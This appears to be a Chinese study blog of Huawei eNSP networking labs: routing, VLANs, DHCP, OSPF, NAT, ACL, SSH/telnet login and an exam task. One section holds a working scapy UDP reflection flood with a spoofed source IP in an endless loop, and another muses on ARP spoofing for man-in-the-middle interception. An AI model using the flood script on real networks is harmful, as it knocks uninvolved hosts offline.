静态路由实验实验拓扑图实验目的实现静态路由R1和R5进行通信配置命令// R1路由器配置 system-view // 进入系统视图 interface g0/0/0 // 进入接口 ip address 192.168.1.1 24 // 配置ip地址，命令相同配置好其它路由器 //先配置R1到R3 ip route-static 192.168.2.0 24 192.168.1.2 // 指定到 192.168.2.0 从 192.168.1.2 出去 现在我们可以过去了但需要回来所以要在R3里配置 回来的静态路由 ip route-static 192.168.1.0 24 192.168.2.2 // 这是回来的路由配置 命令相同修改下配置下面机个路由器即可 实验效果用户登录实验官方介绍华为的super 命令设置的口令用于低级别用户向高级别用户切换时进行验证，类似于 UNIX 系统和 Linux 系统中从普通用户转换到 root 帐户时须输入 super 进行切换。华为网络设备的命令级别共分为 4 级，分别为访问级（ 0 级）、监控级（ 1 级）、系统级（ 2 级）和管理级（ 3 级），当低级别用户向高级别切换时. 输入命令 super [level]，此时如果设置了super 的password，则只有验证通过后切换才能实现 。super 的口令配置也有明文和暗文两种方式，具体命令为 super password simple ( 明文 ),super password cipher ( 暗文 ) 。如果用户想要实现对通过 console 、 telnet 或 web 方式访问华为交换设备的身份验证，则需要在相应的虚拟端口配置验证信息。(1) console访问 方式：需要在 user-interface con 0 模式下配置 authentication-mode 。(2) ssh、telnet访问 方式：需要在 user-interface vty 0 4 模式下配置 authentication-mode 。(3) web访问 方式：需要启用 web 管理服务，并要有 local-user 配置的用户和密码。console口配置user-interface console 物理接口 // 只有一个 0 ~ 4 默认不认证 vty 虚拟接口 // 自己定义想多少就多少0 默认认证 password 默认的权限是3 //没有修改的情况下 user-interface console 0 // 进入console口 user privilege level 0 // 修改等级 // 完整代码 <Huawei>system-view // 进入系统视图 [Huawei]aaa // 进入3a认证 [Huawei-aaa]local-user jw1201 privilege level 0 password cipher 123456 // 配置两条命令 [Huawei]user-interface console 0 // 进入console [Huawei-ui-console0]authentication-mode aaa // 修改认证模式aaa // 默认的认证模式是不认证 [Huawei-ui-console0]q // 退出 [Huawei]q // 退出 <Huawei>super 3 // 进入等级不够只能使用用户视图，跳到3等级 无密码直接进入 [Huawei-aaa]local-user jw1201 password cipher 123456 [Huawei-ui-console0]authentication-mode aaa // 更改验证模式 配置telnet用Telnet远程进入到交换机的端口中 [Router]user-interface vtycipher 用于对密码加密方式，输入时密码时，命令行不显示密码privilege level 用于给与此用户拥有的权限等级（等级为0-15，15为最高权限）service-type telnet 表示此用户用于Telnet服务创建用户命令：[Router-aaa]local-user 创建的用户名 password cipher 密码权限设置命令：[Router-aaa]local-user 需要修改权限的用户名 privilege level 权限等级[Huawei]user-interface vty 0 1 // 进入虚拟接口 [Huawei-ui-vty0-1]authentication-mode aaa // 修改模式为3a [Huawei-aaa]local-user jw1201 privilege level 3 password cipher 123456// 一行代码设置登录账号密码和等级 [Huawei-aaa]local-user jw1201 service-type telnet // 设置用户服务类型 [Huawei-aaa]q // 退出 [Huawei]telnet server enable // 开启telnet服务配置ssh// 生成rsa密匙：rsa local-key-pair create [server]rsa local-key-pair create // 服务器配置vty用户界面，设置验证方式为aaa，指定协议为ssh [server]user-interface vty 0 4 [server-ui-vty0-4]authentication-mode aaa [server-ui-vty0-4]protocol inbound ssh // 在aaa视图创建ssh用户huawei密码huawei123 [server]aaa [server-aaa]local-user huawei service-type ssh [server-aaa]local-user huawei password cipher huawei123 // 设置ssh用户的认证为密码 [server]ssh user huawei authentication-type password // 开启stelnet服务，默认关闭 server]stelnet server enable [Huawei]dis ssh user-information // 查看是否开启ssh // 接下来在客户端尝试连接 // 第一次登陆需要开启ssh认证 [client]ssh client first-time enable // 连上后，ssh用户的权限连系统视图都无法进入。 // 再给ssh用户huawei增加权限！（当然在添加用户时就可以配置） [server]aaa [server-aaa]local-user huawei privilege level 15 //这里给的最高权限VLAN通信实验实验拓扑图实验目的实现不同vlan之间的通信。首先要知道不同vlan之间的主机是无法实现通信的，所以必须通过三层路由设备进行路由转发才能将报文从一个vlan转发到另一个vlan。vlan技术可以将一个大的局域网划分成多个小局域网，并且隔离了广播域，使不同广播域的用户不能进行通信。有三种方式：路由器物理接口实现路由子接口进行实现VLAN IF技术实现实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 交换机配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-sw1 // 改个名字 [actdream-sw1]undo info-center enable // 关闭提示信息 [actdream-sw1]vlan batch 10 20 // 创建vlan 10 20 [actdream-sw1]int e0/0/2 // 进入e0/0/2接口 [actdream-sw1-Ethernet0/0/2]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/2]port default vlan 10 // 配置接口属于vlan10 [actdream-sw1]int e0/0/3 // 进入e0/0/3接口 [actdream-sw1-Ethernet0/0/3]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/3]port default vlan 20 // 配置接口属于vlan20 [actdream-sw1]int e0/0/1 // 进入e0/0/1接口 [actdream-sw1-Ethernet0/0/1]port link-type trunk // 配置接口为trunk [actdream-sw1-Ethernet0/0/1]port trunk allow-pass vlan all // 允许所有的vlan通过 // 路由器配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/0.1 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.1]ip add 192.168.1.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.1]dot1q termination vid 10 // 封装下给vlan10 [actdream-ar1-GigabitEthernet0/0/0.1]arp broadcast enable // 开启arp广播功能 [actdream-ar1]int g0/0/0.2 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.2]ip add 192.168.2.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.2]dot1q termination vid 20 // 封装下给vlan20 [actdream-ar1-GigabitEthernet0/0/0.2]arp broadcast enable // 开启arp广播功能2.配置好了尝试PC1 ping PC2 可以看见是能通信的。实验效果RIP动态路由实验实验拓扑图实验目的实现动态路由不同网段间的通信。rip协议，通过启用rip协议，路由器可以更好的学习相邻的路由表，更好的适应多变且庞大的网络环境。实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 路由器ar1配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/1 // 进入接口 [actdream-ar1-GigabitEthernet0/0/1]ip add 192.168.1.254 24 // 配置网关地址 [actdream-ar1-GigabitEthernet0/0/1]int g0/0/0 // 进入接口 [actdream-ar1-GigabitEthernet0/0/0]ip add 192.168.3.1 24 // 配置R1与R2路由器通信的ip [actdream-ar1]rip // 启用rip [actdream-ar1-rip-1]network 192.168.1.0 // 宣告网段 [actdream-ar1-rip-1]network 192.168.3.0 // 宣告网段 // 路由器ar2配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar2 // 改个名字 [actdream-ar2]int g0/0/1 [actdream-ar2-GigabitEthernet0/0/1]ip add 192.168.2.254 24 // 配置网关地址 [actdream-ar2]int g0/0/0 // 进入接口 [actdream-ar2-GigabitEthernet0/0/0]ip add 192.168.3.2 24 // 配置R2与R1路由器通信的ip [actdream-ar2]rip // 启用rip [actdream-ar2-rip-1]network 192.168.3.0 // 宣告网段 [actdream-ar2-rip-1]network 192.168.2.0 // 宣告网段实验效果PC相同IP MAC实验这种情况基本不可能有的，局域网内不可能有相同的IP和MAC，当然要是有人想改那就不一样了，对了就是改IP地址和MAC地址，一开始我在想会发生什么，直到我实验了下发现都能通信！！在Windows上改IP和MAC都是自带的，网上也有很多这样的工具。实验拓扑实验步骤1.三台PC机我都手动配置了IP地址，接下来就到交换机看一下。2.到交换机的终端面板，进入视图输入 dis mac-add 查看交换机的mac缓存表，什么都没有，那是因为我们还没ping 对方，所以并不会广播寻找对方就没有mac缓存表了。3.现在我们用PC3 ping PC2，交换机就会用ARP协议广播问谁是192.168.10.1 请把你的mac地址告诉我，这个时候是192.168.10.1的主机就会把mac给交换机，然后交换机建立mac表，进行通信。4.这个时候我们查交换机的mac表，就会多出两条mac地址。5.我把两台PC机的mac和ip改成相同的，两台PC机同时ping PC2，观察抓包和交换机的mac地址表的变化。6.可以发现两台PC电脑都是可以通信的，要是刷新交换机mac地址显示的话，你会发现接口一下变成e0/0/1接口一下又变成e0/0/3接口，这说明交换机两边都在回应，但这样也不影响我们通信，最多会掉一个包，看视频什么的没任何压力，玩游戏的话有可能会卡一下吧。总结如果内网出现大量的PC伪装成一台电脑的IP和mac，会导致对方的包不断回复给别的主机，导致对方PC断网（自己的想法）。ARP协议这款缺陷比较大，利用好直接玩转局域网，像上面的广播问谁是192.168.10.1 这个时候，要是别人一直发响应包给交换机，说我就是PC2 mac地址是这个，那么别人就会找伪装成PC2与你通信，欺骗网关还能当中间人对吧，流量都从你的电脑经过。DHCP地址分配实验DHCP代理通过三层交换机做中继，获取路由器上dhcp IP地址池，分发给下面的PC机，个人理解有误请指正。实验拓扑实验步骤// AR1 配置 sys // 进入系统模式 dhcp enable // 开启dhcp ip pool vlan10 // 创建vlan10 ip地址池 network 192.168.10.0 mask 24 gateway-list 192.168.10.254 dns-list 8.8.8.8 ip pool vlan20 // 创建vlan20 ip地址池 network 192.168.20.0 mask 24 gateway-list 192.168.20.254 dns-list 8.8.8.8 int g0/0/0 // 配置接口ip ip add 192.168.80.2 26 dhcp select global // 开启全局dhcp ip route-static 0.0.0.0 0 192.168.80.1 // 添加一条静态路由1.先全部设备都开机，好了进路由器配置下dhcp ip地址池，给G0/0/0配置IP地址。// LSW2 配置 sys // 进入系统视图 dhcp enable // 开启dhcp vlan batch 10 20 50 // 创建vlan int vlan 10 // 进入vlan10 ip address 192.168.10.254 255.255.255.0 // 配置分发的ip dhcp select relay // 模式选择relay dhcp relay server-ip 192.168.80.2 // 指定的ip是 g0/0/0 接口上配置的ip int vlan 20 // 相同给vlan20 也配上 ip address 192.168.20.254 255.255.255.0 dhcp select relay dhcp relay server-ip 192.168.80.2 int vlan 50 // 再进入vlan50 配置ip要和g0/0/0接口配置的ip在一个网段内才行。 ip add 192.168.80.1 26 int g0/0/2 // 进入接口 port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过2.再到三层交换机LSW2上配置下中继，给 g0/0/2 接口配置 trunk 模式。// LSW1 配置 sys // 进入系统模式 int g0/0/1 // 配置g0/0/1 与 g0/0/2 一致使用trunk port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过 int g0/0/2 // 交换机下的接口都配置成access模式就行 port link-type access // 配置接口类型 access port default vlan 10 // 把vlan10加入接口 int g0/0/3 port link-type access // 配置接口类型 access port default vlan 20 // 把vlan20加入接口3.到这里就已经可以自动分配ip地址了，我们到pc机上把dhcp打开让它自动获取。效果1.查看ip地址都有，现在双方都ping一下，可以看到两台PC都可以互相通信的。DHCP分配最简单的dhcp自动分配地址，用接口配置的网关进行分配。实验拓扑实验步骤sys // 进入系统视图 dhcp enable // 开启dhcp功能 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 配置默认网关 dhcp select interface // 选择dhcp接口分配1.到路由器设置下dhcp服务，让他充当dhcp服务器，往下面分配ip地址。2.现在到PC机上设置自动获取，这个时候就可以拿到地址了。3.我们看一下获取成功，这是最简单的一种办法了。OSPF路由实验OSPF相关知识OSPF一种动态路由协议，能动态学习到其他网段的路由。1.无环路：区域内部采用树形算法；区域间采用星型拓扑2.收敛快：相比于其他路由协议能更快速的收敛网络3.扩展性好：当网络规模扩大的时候， OPSF支持多区域可以将一些设备划分在一个区域4.支持认证：增加了网络的安全性实验拓扑实验步骤// AR2 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 192.168.10.254 24 // 配置192.168.10.1网段的路由网关 int g0/0/0 // 进入接口 ip add 200.10.20.1 24 // 配置 AR2路由器 与 AR3 之间通信的ip地址 （要在同一网段）// AR3 配置 sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.20.2 24 // 配置 AR3路由器 与 AR2 之间通信的ip地址 int g0/0/1 ip add 200.10.30.1 24 // 配置 AR3路由器 与 AR4 之间通信的ip地址 （要在同一网段）// AR4 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.30.2 24 // 配置 AR4路由器 与 AR3 之间通信的ip地址 int g0/0/2 // 进入接口 ip add 192.168.20.254 24 // 配置192.168.20.1网段的路由网关1.我先把路由器的ip地址和pc的ip地址都配置一下，pc机的网关要填对哦。// AR2 配置 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 看AR2路由器有两个线一头是 192.168.10.254 network 200.10.20.0 0.0.0.255 // 另一头是 200.10.20.0 直接进行宣告就行// AR3 配置 // 下面的操作都是一样的，改下宣告的网段就行 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.255// AR4 配置 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2552.现在到路由器里配置ospf，进入ospf视图里用 network 命令宣告网段，这里填的是网段加子网掩码的反码，到这里就已经配置好了ospf路由了，可以在路由器里用效果1.测试下能不能ping通对方，可以看到都是没问题的。链路聚合实验简介链路聚合的作用 ：把多个物理接口绑定成一个逻辑接口，对于带宽何链路的可靠性做提升，若其中一端口出现故障，则该成员端口的流量就会切换到成员链路中去。保障了网络传输的可靠性。简单来说就是多连两根线，把这些线都绑定到一个逻辑接口上，要是其中有一条线出问题了，那么另外一条线就会自动补上，不影响网络的通信。实验拓扑实验步骤// LSW5 配置 sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 1 // LSW6 配置 （相同的） sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 11.先到交换机上配置下链路聚合，把它加到这三根线上。2.配置好再到交换机用 dis trunkmembership eth-trunk 1 这条命令看下状态，可以看到有两条线是开的，一条线是关的。int e0/0/2 // 进入e0/0/2接口 shutdown // 关闭接口 undo shutdown // 启动接口3.我们尝试关闭e0/0/2接口，看看e0/0/3会不会自动补上，进入e0/0/2 输入shutdown 接口就关闭了，和我想的一样自动补上了，看到e0/0/3 状态从down 切换到了 up 状态。效果1.关掉了其中一个接口，没有影响到他们的的通信，一个包都没丢。端口安全实验简介简单来说在公司的网络环境中，为了防外部人员接入公司内部网络，在交换机上给端口都绑定上指定PC的Mac地址，防止非法计算机接入。实验拓扑实验步骤1.PC机上我都手动配置好了IP地址，现在用PC机互相Ping让交换机学习下Mac地址建立mac表。2.到交换机使用 dis mac-add 查看mac地址表，发现三台PC机都有了。3.这里为了演示我就给PC1绑定下MAC地址，其他的PC都是一样的操作。sys // 进入系统视图 int e0/0/1 // 进入接口 port-security enable // 开启端口安全 port-security mac-address sticky port-security mac-address sticky 5489-9865-40F1 vlan 1 // 绑定mac4.没改PC1 Mac地址 尝试 ping PC2，毫无疑问是可以通信的。5.现在改下Pc1的mac地址，看下能不能通信。6.改完之后很显然是不能通信实验成功。VLAN隔离实验简介简单的来说，IP地址是否属于同一子网络是根据子网掩码来决定的，如果两台PC的IP地址是一个网段的话那么可以正常通信，要是我想实现一个网段的但又不想让他们互相通信，那怎么办呢这里就要用到vlan技术了，他可以实现对IP逻辑上的隔离。实验拓扑实验步骤1.比较简单，这里就全设置了下创建了两个vlan 10 和 20， 并把vlan加入四台PC机指定的端口上。sys // 进入系统视图 vlan batch 10 20 // 批量创建vlan interface Ethernet0/0/1 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/2 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/3 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里 interface Ethernet0/0/4 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里2.PC1 ping PC2 可以发现是通的，他们是属于vlan 10 的所以可以，要是PC1 ping PC3 就不行了。 3.这就是vlan的隔离，不配置vlan 是可以通信的，因为是一个网段的。动态NAT实验简介简单来说，当我们访问公网某台服务器时，我们内网IP要从路由器出去利用NAT技术，将内网IP转换为公网IP进行访问，当数据到达公网的服务器上给我们做返回，就会把数据发给转换的公网地址，让他找到内网发数据的主机传达给他，这样就实现了内网和外网的通信，IPv4本来已经枯竭了，就是有这项技术还是在用IPv4。实验拓扑实验步骤1.老规矩先手动配置下PC机的IP地址好通信。2.上AR2路由器上配置两端的接口，让路由器之间可以互相通信。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.2 24 // 给公网接口添加IP地址 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 给内网接口添加IP地址3.再配置下OSPF宣告一下网段，让他们之间可以通信。（我的思路是这样）ospf // 进入ospf area 0 // 区域设置 0 network 192.168.10.0 0.0.0.255 // 宣告内网网段 network 200.10.10.0 0.0.0.25 // 宣告公网网段4.配置好了OSPF就可以通信了，但这里出去的地址是内网地址，我们抓包看下ICMP出去的IP地址。5.可以看到出路由器的地址是内网IP，在现实环境中那是不可能的，所以这里要做动态NAT地址转换。nat address-group 1 200.10.10.3 200.10.10.10 // 创建地址组 设置公网分配范围 acl 2000 // 进入基本acl rule permit source 192.168.10.0 0.0.0.255 // 创建规则 int g0/0/1 // 进入接口 nat outbound 2000 address-group 1 no-pat // 把出口 200与ip组绑定 配置在接口上6.配置好再抓包ping 公网发现内网IP转换为公网IP地址了。静态NAT实验简介简单来说就是内网有一台服务器或者多台，需要让公网访问的到这时就要用到静态NAT技术把内网映射到公网上。实验拓扑实验步骤1.老规矩先手动配置下服务器和PC机的IP地址 好进行通信，这里的标签我写错了AR3下面G0/0/0，现改成 200.10.20.254。2.先到AR2路由器里配置下两端的IP地址，加上OSPF建立下邻居关系。sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.10.2 24 // 添加IP地址 int g0/0/1 ip add 192.168.10.254 24 int g0/0/2 ip add 8.8.8.1 24 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 宣告网段 network 200.10.10.0 0.0.0.25 network 8.8.8.0 0.0.0.2553.然后再到AR3路由器里配置下，接口通信的IP地址，加上OSPF宣告下网段。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.1 24 // 配置ip地址 ospf area 0 network 200.10.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2554.配置好基本上内网服务器能ping通外网了，现在给AR2路由器做下静态NAT。5.再到dns服务器上，添加下内网服务器映射的公网IP与域名进行绑定，好了之后记得把服务器都启动起来。6.再去 Client1上配置好DNS地址，可以自己测试 ping dns 看看能不能通信。7.全都配置好后，就可以获取内网服务器的服务数据了。ACL访问控制实验简介ACL是访问控制列表，它是一种包过滤防火墙，路由器和交换机接口的指令列表，有了它可以实现数据包出入的控制，它分为基本acl和高级acl，这里就实现个基本acl。实验拓扑实验步骤1.手动配置下IP地址和网关，这样才可以进行通信。2.进入AR1路由器给两边的接口，配置下IP地址先然后它们就可以通信了。3.有PC1 ping PC2 发现是可以通信的，接下来配置下基本acl阻止PC1与PC2之间的通信。acl 2000 // 配置基本acl rule 15 deny source 192.168.10.0 0.0.0.255 int g0/0/0 // 进入接口 traffic-filter outbound acl 2000 // 配置出站过滤4.配置好acl，在里面添加网段 192.168.10.0，阻止这所有的主机，当然也可以指定IP地址了。5.配置好后尝试ping，发现不能通信了实验成功。FTP文件上传实验简介FTP服务器，是在互联网上提供存储空间的计算机，它们依照FTP协议提供服务，全称是File Transfer Protocol(文件传输协议)，简单的来说，就是一台服务器专门用存储文件的也可以用来共享。实验拓扑实验步骤1.老规矩先手动配置下IP地址，这样才能通信。2.再配置下路由器旁边的接口ip地址。int g0/0/0 // 进入接口 ip add 192.168.2.254 24 // 配置FTP服务器网关 int g0/0/1 // 进入接口 ip add 192.168.3.254 24 // 配置设备网关3.再到FTP服务器设置面板，选择文件路径并开启FTP服务器。4.好了之后，使用Client1 ping ftp服务器看看能不能通信，可以看到是可以的。ftp 192.168.2.3 User(192.168.2.3:(none)):act // 第一次会让你配置下账号密码 331 Password required for act . Enter password: // 输入密码5.再回到路由器连接下FTP服务器，配置下账号和密码。6.然后输入在路由器更改的账号和密码，用设备进行登录就成功了，就可以上传文件和下载文件了。UDP反射攻击实验简介UDP 反射攻击的基本原理是，攻击者发送伪造的 UDP 请求数据包到反射主机，并将源 IP 地址伪造为受害主机的地址，反射主机接收请求后，会将数据包转发给受害主机，这样就能对受害主机进行拒绝服务攻击，当然你可以批量的反射那么就有多台主机进行攻击。实验拓扑这里只是拿eNSP打个比方，服务并没开UDP 53端口，所以攻击不成立，对方必须开启UDP 端口，你才能进行反射攻击。通过发起攻击抓包可以发现，反射的 1.2 PC 与 1.4 主机，都进行发送响应给 1.3 PC 主机，实验目的达成。UDP反射代码import threading from scapy.all import * payload = '0' * 1400 # 构造一个长度为 1400 字节的字符串 def send_packet(src_ip): packet = IP(src="192.168.1.3", dst=src_ip) / \ UDP(dport=53, sport=RandShort()) / \ Raw(load=payload) send(packet) hosts = ["192.168.1.2", "192.168.1.4"] while True: for src_ip in hosts: t = threading.Thread(target=send_packet, args=(src_ip,)) t.start() t.join()
NAT知识国内网络环境被称为 “大内网”，原因如下： IPv4地址耗尽： IPv4地址资源已经用尽，无法为每台设备分配独立的公网IP。NAT技术的作用： NAT（网络地址转换）技术通过将内网IP地址转换为公网IP，实现设备访问外网。 路由器充当中介，负责内网到公网的地址和端口映射，从而支持更多设备共享少量公网IP。 内网设备通信需求： PC1和PC2位于同一内网，要访问外网服务器的Web服务，必须通过NAT转换和PAT端口映射。 NAT转换过程： PC2发送的数据到达路由器后，路由器将其内网IP转换为公网IP，并随机分配一个端口号。 路由器在NAT表中记录内网IP与端口的映射关系，从而允许PC2访问公网服务器，服务器返回的数据则通过映射回到内网设备。 NAT的弊端： 通信必须基于连接。一旦连接断开，路由器会释放NAT表中的映射关系。 此时，服务器无法再主动发送数据给PC2，数据包会被路由器判定为无效，从而无法接收，导致只能发起外部访问，不能接收外部主动请求。 部分解决方法： 例如，通过内网映射将公网IP绑定到内网设备，并保持监听状态，能一定程度上解决这个问题，但会带来更多管理复杂性与资源开销。内网穿透原理（简单版）需要中心服务器内网穿透需要一个中心服务器（Server）作为中转站，PC1和PC2先和Server建立连接。互相获取通信信息Server记录PC1和PC2的公网IP和端口信息（假设端口是100）。两台设备通过Server的转发，知道了彼此的IP和端口。直接通信（锥型NAT情况下）PC1直接向PC2的100端口发送连接请求，PC2回应后，两台设备就建立了UDP连接，可以绕过中心服务器直接通信。弊端如果两台设备的通信必须经过Server中转，速度会受限。比如：PC1和PC2带宽都是100M，但Server只有10M，那两者的传输速率最多只有5M。如果能实现直接通信（P2P），效率更高，但需要网络条件支持。简单来说，内网穿透就是用一个中转服务器让两台内网设备先“认识对方”，然后尝试直接通信。如果直接通信不行，就只能依赖中转，速度受限制。
试题编号：J1-1：交换机设备安装与调试1.A公司网络规划如下图所示，要求内网各部门要有业务分割，又能相互访问。请配置好相关设备并调试通畅，公司网络IP地址分配如下:配置信息VLAN规划 VLAN编号部门员工数子网号网关地址子网掩码VLAN10财务部52192.168.1.0192.168.1.62255.255.255.192VLAN20市场部48192.168.1.64192.168.1.126255.255.255.192VLAN30行政部32192.168.1.128192.168.1.190255.255.255.192VLAN40研发部16192.168.1.192192.168.1.254255.255.255.192管理VLAN VLAN编号网络地址子网掩码VLAN1192.168.2.1255.255.255.192PC编号IP地址子网掩码PC1192.168.1.1255.255.255.192PC2192.168.1.65255.255.255.192PC3192.168.1.129255.255.255.192PC4192.168.1.193255.255.255.192任务一：网络设备互联(10分)①选择合适的网络互联设备进行组网，根据考场实际情况使用真实设备或者使用模拟器完成。(4分)②选择合适的连接线缆，用于连接网络设备。(3分)③根据需要，把网线连接到各网络设备接口上，注意：交换机S1的1与交换机S2的1口相连，交换机S1的2口与交换机S3的2口相连，交换机S2的3口与交换机S3的3口相连。(3分)第二部分：交换机基本配置(30分)任务二：交换机基本配置(30分)①交换机S1配置主机名为S1，交换机S2配置主机名为S2，交换机S3配置主机名为S3。(6分)②在交换机S1上配置CONSOLE口登录口令为class，进入系统视图口令为huawei。(6分)③在交换机S1上配置管理IP，并开启SSH远程登陆功能:域cisco.com、用户名Admin和密码abcde、密钥长度1024、SSH版本2。(12分)④在交换机S1上使用适当的标语文本警告未经授权的访问。以下是示例文本：Authorized access only.Violators will be prosecuted to the full extent of the law.(3分)⑤保存到目前为止的配置信息，防止掉电丢失。(3分)第三部分：交换机功能配置(45分)任务三：划分vlan(26分)①根据需求，在交换机S1上划分vlan，创建vlan10，vlan20，vlan30，vlan40。(4分)②根据需求，在交换机S2上划分vlan，创建vlan10，vlan20，vlan30，vlan40。(4分)③根据需求，在交换机S3上划分vlan，创建vlan10，vlan20，vlan30，vlan40。(4分)④在交换机S2上把F0/11-15放到vlan10，F0/16-20放到vlan20。(4分)⑤在交换机S3上把F0/11-15放到vlan30，F0/16-20放到vlan40。(4分)⑥交换机S1的F0/1、F0/2与交换机S2的F0/1、F0/3设置为trunk。(4分)⑦把交换机S3的F0/2、F0/3设置为trunk。(2分)任务四：配置生成树(9分)①将交换机S1配置为根网桥。(9分)任务五：不同vlan之间的通信(10分)①在交换机S1中开启路由功能，同时给每个SVI接口配置IP地址，作为对应VLAN的网关地址。(10分)拓扑图搭建PC1 连接S1交换机 配置Console登录密码<tianzhihua_s1>system-view // 进入系统视图 [tianzhihua_s1]user-interface console 0 // 配置console口 [tianzhihua_s1-ui-console0]set authentication password cipher class // 设置密码为class超级密码<tianzhihua_s1>system-view [Huawei]super password cipher huawei进入交换机三种方案console // 终端口 vty // 都走这两种协议 telnet、ssh web // 网页控制